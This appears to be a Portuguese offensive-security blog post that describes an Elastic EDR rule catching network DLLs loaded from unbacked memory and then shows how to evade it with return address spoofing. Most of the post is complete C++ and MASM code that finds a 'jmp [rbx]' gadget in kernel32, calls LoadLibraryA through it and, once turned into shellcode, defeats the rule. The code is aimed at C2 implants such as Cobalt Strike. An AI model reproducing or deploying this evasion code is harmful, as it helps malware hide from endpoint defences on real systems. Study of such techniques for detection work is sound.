0.00
Table of contents

Return Address Spoofing

 |   |  13 min read

Rule Elastic

No meu post O que é um EDR?, eu mostrei a seguinte rule do Elastic:

┌─────────────────────────────────────────────────────────────────────────────┐
│                         ELASTIC ENDPOINT RULE                         │     
│               Network Module Loaded from Suspicious Unbacked Memory   │
└─────────────────────────────────────────────────────────────────────────────┘

name = "Network Module Loaded from Suspicious Unbacked Memory"
query = '''
sequence by process.entity_id
  # EVENTO 1: Processo inicia
  [process where event.action == "start" and 
   
   # Exceção: ignora processos assinados em Program Files
   not (process.executable : "?:\\Program Files\\*" and 
        process.code_signature.trusted == true)
  ]
  # EVENTO 2: DLL de rede carregada (TRIGGER)
  [library where
   
   # DLLs monitoradas
   dll.name : ("ws2_32.dll", "wininet.dll", "winhttp.dll") and
   
   # Call stack contém região UNBACKED
   process.thread.Ext.call_stack_contains_unbacked == true and
   
   # Padrões suspeitos de call stack
   process.thread.Ext.call_stack_summary : (
     "ntdll.dll|kernelbase.dll|Unbacked",
     "ntdll.dll|kernelbase.dll|Unbacked|kernel32.dll|ntdll.dll"
   )
  ]
  until [process where event.action:"end"]
'''
# Ação quando detecta
[[actions]]
action = "kill_process"

WARNING: Esta regra está apresentada de forma resumida. A versão completa possui mais de 250 linhas, diversas exceções e outras seções adicionais. Condensei a regra do Elastic apenas para fins de exemplificação.


Por que monitorar DLLs legitmas?

C2 frameworks como Cobalt Strike, Sliver e Havoc precisam se comunicar com o servidor do atacante. Para isso, geralmente usam:

  • wininet.dll / winhttp.dll → comunicação HTTP/HTTPS

  • ws2_32.dll → conexões via socket


A regra da Elastic concentra-se em verificar se essas DLLs foram carregadas a partir de memória (unbacked), pois se uma shellcode em execução na memória tentar carregar alguma DLL a stack vai apontar que quem chamou LoadLibraryA ou outro método, está em uma região de memória (unbacked), e isso vai tomar a ação: action = "kill_process" podemos ver um exemplo disso com essa imagem:

![[Pasted image 20260422175910.png]]

Se a DLL tivesse sido carregada por um módulo legitimo teriamos o seguinte resultado na stack:

![[Pasted image 20260422175926.png]]


Como Contornar isso?

Existem algumas maneiras para contornar isso, uma delas é manipular o return address para que pareça que foi chamada de uma função legítima (um gadget do tipo jmp rbx por exemplo).

WARNING: As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.

A ideia básica é preparar um bloco (trampoline/gadget) cuja execução retorne para um endereço legítimo em um módulo confiável.

Para encontrar esse gadget podemos estar utilizando o seguinte código:

PBYTE FindGadget(PBYTE pModule)
{
	for (int i = 0;; i++)
		if (pModule[i] == 0xFF && pModule[i + 1] == 0x23)
			return pModule + i;
}

Primeiro, criamos a função FindGadget que recebe pModule, um ponteiro (PBYTE) para o endereço base do módulo desejado (neste caso, a kernel32.dll).

Dentro da função, usamos um loop for infinito para iterar byte a byte a partir do endereço base do módulo. A variável i representa o offset (deslocamento) em bytes desde o endereço base.

Em cada iteração, fazemos uma verificação com if: se o byte na posição atual (pModule[i]) for igual a 0xFF E o próximo byte (pModule[i + 1]) for igual a 0x23, encontramos o gadget.

Quando a condição é verdadeira, a função retorna pModule + i, que é o endereço exato do gadget (endereço base + offset).

Caso contrário, o loop continua, e i++ incrementa automaticamente no final de cada iteração, avançando para o próximo byte até encontrar o padrão desejado.


int main() {
	PBYTE pKernel32 = (PBYTE)GetModuleHandleA("kernel32");
	PBYTE pGadget = FindGadget(pKernel32);
	printf("[+] Gadget encontrado em: 0x%p\n", pGadget);

	getchar();
	return 0;
}

Agora na função main, primeiro precisamos obter o endereço base do módulo kernel32.dll, que é onde vamos iterar para procurar o gadget.

Para isso, utilizamos a função GetModuleHandleA, passando como argumento o nome do módulo carregado na memória (“kernel32”).

Essa função retorna um HMODULE (handle do módulo), que na prática é o endereço base onde o módulo está carregado na memória.

Como queremos acessar byte a byte desse módulo, fazemos um cast (PBYTE) para converter o HMODULE em PBYTE (ponteiro para bytes), permitindo aritmética de ponteiros byte a byte.

Por fim, armazenamos esse ponteiro em uma variável chamada pKernel32 do tipo PBYTE, que agora aponta para o primeiro byte da kernel32.dll permitindo agora iterar pela memória do módulo.


Após encontrar o gadget com FindGadget, precisamos entender como invocar funções no Windows 64-bit. A arquitetura x64 usa a Microsoft x64 calling convention, que exige:

  1. Os 4 primeiros argumentos devem ser passados nos registradores RCX, RDX, R8 e R9 (nesta ordem)

  2. 32 bytes de shadow space devem ser reservados na stack antes da chamada (espaço reservado para os 4 primeiros argumentos, mesmo que estejam em registradores)

  3. Argumentos adicionais (5º em diante) são colocados na stack após o shadow space

Para gerenciar essa complexidade, criamos a estrutura _STACK_CONFIG:

typedef struct _STACK_CONFIG {
    PVOID pGadget;      // Endereço do gadget encontrado (0xFF 0x23)
    PVOID pTarget;         // Endereço da função que queremos chamar
    PVOID pRbx;            // Valor para o registrador RBX (usado no gadget)
    PVOID pArgs;           // Ponteiro para array com os argumentos
} STACK_CONFIG, *PSTACK_CONFIG;

INFO: Esta estrutura centraliza todas as informações necessárias para configurar a stack corretamente antes de executar a chamada spoofada via assembly.

Agora vamos estar criando uma função que vai estar preenchendo os valores dessa estrutura:

BOOL SetupConfig(PVOID pGadget, PSTACK_CONFIG pConfig, PVOID pTarget, UINT64 arg1, UINT64 arg2, UINT64 arg3, UINT64 arg4) {
    pConfig->pTarget = pTarget;            // Função alvo a ser chamada
    pConfig->pGadget = pGadget;         // Gadget encontrado pelo FindGadget
    pConfig->pArgs = malloc(32);           // Aloca 32 bytes (4 args × 8 bytes)
    
    if (!pConfig->pArgs) return FALSE;     // Verifica falha na alocação
    // Preenche o array de argumentos (cada UINT64 ocupa 8 bytes)
    ((PUINT64)pConfig->pArgs)[0] = arg1;   // Será carregado em RCX
    ((PUINT64)pConfig->pArgs)[1] = arg2;   // Será carregado em RDX
    ((PUINT64)pConfig->pArgs)[2] = arg3;   // Será carregado em R8
    ((PUINT64)pConfig->pArgs)[3] = arg4;   // Será carregado em R9
    
    return TRUE;
}

Na nossa função SetupConfig, ela recebe um total de 7 argumentos:

  1. pGadget ← Endereço do gadget obtido de FindGadget

  2. pConfig ← Ponteiro para a estrutura que será preenchida (STACK_CONFIG)

  3. pTarget ← Endereço da função final que queremos executar ( LoadLibraryA)

  4. arg1 a arg4 ← Os 4 argumentos que serão passados para a função alvo


Para preencher nossa estrutura utilizamos:

pConfig->pTarget = pTarget;

O item pTarget recebe o endereço da função que será chamada. Caso não saiba o operador -> acessa o membro pTarget da estrutura apontada por pConfig.

INFO: Não farei a explicação sobre pGadget, pois seu funcionamento segue o mesmo princípio de pTarget. Caso os conceitos anteriores não estejam totalmente claros, a compreensão das próximas etapas poderá ser comprometida.

Config->pArgs = malloc(32);

Depois com malloc alocamos memória para armazenar os valores dos 4 argumentos (4 argumentos × 8 bytes = 32 bytes)


Verificamos se a alocação foi bem-sucedida:

if (!pConfig->pArgs) return FALSE;

Se malloc retornar NULL, a função retorna FALSE.


((PUINT64)pConfig->pArgs)[0] = arg1;
((PUINT64)pConfig->pArgs)[1] = arg2;
((PUINT64)pConfig->pArgs)[2] = arg3;
((PUINT64)pConfig->pArgs)[3] = arg4;

Aqui fazemos o cast (PUINT64) para converter o ponteiro pArgs (que é PVOID) em um ponteiro para UINT64. fazemos isso não para converter os valores, mas para interpretar a memória apontada por pArgs como um array de UINT64.

INFO: Isso permite indexar a memória como um array de inteiros de 64 bits, onde cada posição: ([0], [1], [2], [3]) armazena um argumento de 8 bytes.

Mais pra frente vamos ver que o nosso assembly espera que esses valores estejam organizados em blocos de 8 bytes: • Offset 0 = arg1 • Offset 8 = arg2 • Offset 16 = arg3 • Offset 24 = arg4


Agora nosso código ASM irá ficar dessa forma:

WARNING: O código assembly a seguir é meio chatinho de entender, eu mesmo levei algumas horas pra pegar tudo. Por isso deixei o código comentado e fiz uma explicação extra depois.

.code

; Estrutura que espelha _STACK_CONFIG do C++
; Cada campo ocupa 8 bytes (QWORD) em x64
Config STRUCT
	pGadget QWORD ?    ; Endereço do gadget (0xFF 0x23 - jmp [rbx])
	pTarget QWORD ?       ; Endereço da função alvo a ser chamada
	pRbx QWORD ?          ; Armazena endereço de retorno para cleanup
	pArgs QWORD ?         ; Ponteiro para array com os 4 argumentos
Config ENDS

PUBLIC Spoof

Spoof PROC
	pop rdi ; Salva endereço de retorno original (onde Spoof deve voltar)

	; RCX contém o ponteiro para _STACK_CONFIG (1º argumento x64)
	; Copia para R10 para liberar RCX
	mov r10,rcx ; r10 contém o endereço da struct

  ; Config.pArgs = É o offset (deslocamento em bytes) do campo pArgs dentro da estrutura
	mov r13,QWORD PTR [r10+Config.pArgs] ; r13 agora aponta pro array de argumentos

	; Carrega os 4 argumentos nos registradores conforme x64 calling convention
	mov rcx,QWORD PTR [r13]        ; arg1 → RCX (offset +0)
	mov rdx,QWORD PTR [r13+8]      ; arg2 → RDX (offset +8)
	mov r8,QWORD PTR [r13+16]      ; arg3 → R8  (offset +16)
	mov r9,QWORD PTR [r13+24]      ; arg4 → R9  (offset +24)

	; Cria shadow space (32 bytes obrigatórios x64)
	sub rsp,32

	; Carrega endereço do gadget em RAX
	mov rax,QWORD PTR [r10+Config.pGadget]

	; Coloca gadget no topo da stack (será o endereço de retorno falso)
	push rax

	; Prepara RBX para o gadget usar: jmp [rbx] pulará para 'cleanup'
	lea rbx,cleanup                    ; Carrega endereço de 'cleanup' em RBX
	mov QWORD PTR [r10+Config.pRbx],rbx ; Salva em pRbx da struct
	lea rbx,[r10+Config.pRbx]          ; RBX aponta para o campo pRbx

	; Pula para a função alvo (com stack spoofado)
	jmp QWORD PTR [r10+Config.pTarget]

cleanup:
	add rsp,32	; Remove shadow space
	jmp rdi			; Retorna ao endereço original salvo em RDI
Spoof ENDP

END

Registradores principais no fluxo de execução:

RDI - Endereço de retorno original:

pop rdi  ; Salva o endereço de retorno da chamada de Spoof

• Vai conter: O endereço para onde Spoof deve retornar após terminar • Usado em: jmp rdi no cleanup (retorna ao chamador original)


R10 - Ponteiro para a estrutura Config

mov r10, rcx  ; Copia o 1º argumento (ponteiro para _STACK_CONFIG)

• Vai conter: Endereço base da estrutura _STACK_CONFIG • Usado para: Acessar todos os campos da struct (pArgs, pGadget, pTarget, pRbx)


R13 - Ponteiro para o array de argumentos

mov r13, QWORD PTR [r10 + Config.pArgs]  ; Carrega pArgs

• Vai conter: Endereço do array alocado com malloc(32) que tem os 4 argumentos • Usado para: Carregar arg1, arg2, arg3, arg4 nos registradores de chamada


RCX, RDX, R8, R9 - Argumentos da função alvo

mov rcx, QWORD PTR [r13]        ; arg1 → RCX
mov rdx, QWORD PTR [r13 + 8]    ; arg2 → RDX
mov r8,  QWORD PTR [r13 + 16]   ; arg3 → R8
mov r9,  QWORD PTR [r13 + 24]   ; arg4 → R9

• Vão conter: Os 4 argumentos que serão passados para a função alvo


RAX - Endereço do gadget

mov rax, QWORD PTR [r10 + Config.pGadget]  ; Carrega endereço do gadget
push rax ; Coloca na stack

RBX - Ponteiro para pRbx (usado pelo gadget)

lea rbx, cleanup                    ; RBX = endereço de cleanup
mov QWORD PTR [r10 + Config.pRbx], rbx  ; Salva cleanup em pRbx
lea rbx, [r10 + Config.pRbx]       ; RBX aponta para o campo pRbx

• Usado pelo gadget: jmp [rbx] lê [rbx] (que é cleanup) e pula para lá

INFO: Lembrando que o gadget na kernel32.dll consegue usar o valor de RBX porque registradores são globais, ou seja compartilhados por todo o código executando no mesmo thread, independente do módulo (DLL) onde está o código. Por isso, o jmp [rbx] no gadget acessa o mesmo RBX configurado.

RSP - Ponteiro da stack

sub rsp, 32  ; Reserva shadow space
add rsp, 32  ; Libera shadow space

• Vai ser manipulado: Para criar/destruir o shadow space obrigatório x64


Fluxo de Execução

Pula para a função alvo:

jmp QWORD PTR [r10 + Config.pTarget]  ; Pula para LoadLibraryA

Não usa call, usa jmp -> não empilha endereço de retorno A stack no topo contém: endereço do gadget (colocado com push rax) RCX/RDX/R8/R9 já têm os argumentos preparados Shadow space (32 bytes) já está reservado

Função executa normalmente:

LoadLibraryA(RCX="wininet.dll")

Processa os argumentos dos registradores Usa o shadow space na stack conforme convenção x64 Executa a lógica (carrega a DLL) RBX permanece intocado (registrador não-volátil preservado)

Função termina com ret

ret  ; Instrução final de LoadLibraryA

Lê o topo da stack → encontra o endereço do gadget (não o endereço de Spoof!) Pula para o gadget localizado na kernel32.dll Se olhar a stack agora, parece que veio da kernel32.dll, não do nosso código!


Spoofing em ação

Gadget executa dentro da kernel32.dll

; Gadget (0xFF 0x23) na kernel32.dll:
jmp QWORD PTR [rbx]

RBX aponta para Config.pRbx (endereço na nossa memória) [rbx] contém o endereço de cleanup Lê da memória o endereço de cleanup e pula para lá O gadget não usa a stack para obter o destino, só RBX

Retorna ao código Spoof (cleanup)

cleanup:
    add rsp, 32  ; Remove shadow space
    jmp rdi      ; Pula para o endereço original salvo

• Agora está de volta ao nosso código assembly • A stack está “limpa”

Finalização

Libera shadow space

add rsp, 32

Remove os 32 bytes reservados no início Restaura RSP para o estado antes da chamada

Retorna ao chamador original

jmp rdi  ; Volta para "main.cpp"

RDI contém o endereço salvo no início (pop rdi) Retorna para a linha após Spoof(&Config) no “main.cpp”


Código Main

Para conseguir spoofar a função que queremos, o nosso código main vai ficar assim:

int main() {
	STACK_CONFIG Config;
	UINT64 pLoadLibraryA;
	HMODULE hWininet;

	PBYTE pKernel32 = (PBYTE)GetModuleHandleA("kernel32");
	PBYTE pGadget = FindGadget(pKernel32);

	pLoadLibraryA = (UINT64)GetProcAddress((HMODULE)pKernel32, "LoadLibraryA");

	const char* dllName = "wininet.dll";
	if (!SetupConfig((PVOID)pGadget, &Config, (PVOID)pLoadLibraryA, (UINT64)dllName, 0, 0, 0))
		return -1;

	hWininet = (HMODULE)Spoof(&Config);
	printf("[+] wininet.dll carregada em: 0x%llx\n", (UINT64)hWininet);
	getchar();
	return 0;
}

No nosso código main não tem muita novidade. Basicamente, a única coisa que vamos fazer é passar os argumentos para SetupConfig e depois chamar o nosso método Spoof.

Lembrando que você vai ter que declarar:

extern "C" PVOID Spoof(PSTACK_CONFIG pConfig);

Declaramos extern “C” para desativar o name mangling do C++ e permitir que o linker encontre a função Spoof implementada em Assembly pelo nome exato, onde Spoof recebe um ponteiro para a estrutura _STACK_CONFIG (PSTACK_CONFIG pConfig), permitindo que o Assembly acesse todos os campos da struct usando offsets a partir desse endereço base.


Resultado

Para testar nosso código final, eu vou estar transformando esse código para shellcode e estarei executando:

![[Pasted image 20260422180418.png]]

WARNING: Repare que a wininet.dll aparece carregada duas vezes. Isso acontece por causa do conversor que eu usei, que acabava carregando a DLL antes do nosso código. Então eu precisei desmapear ela para conseguir capturar a stack correta.

Por fim, com esse resultado, já conseguimos contornar a rule do Elastic, pois a stack mostra que quem chamou a função LoadLibraryA foi a kernel32.dll, que está mapeada na memória do processo. Mas, claro, ao analisar a stack completa, ainda é possível perceber que quem “chamou” a kernel32 foi o nosso próprio código, que não está mapeado, como dá para ver na imagem.

![[Pasted image 20260422180434.png]]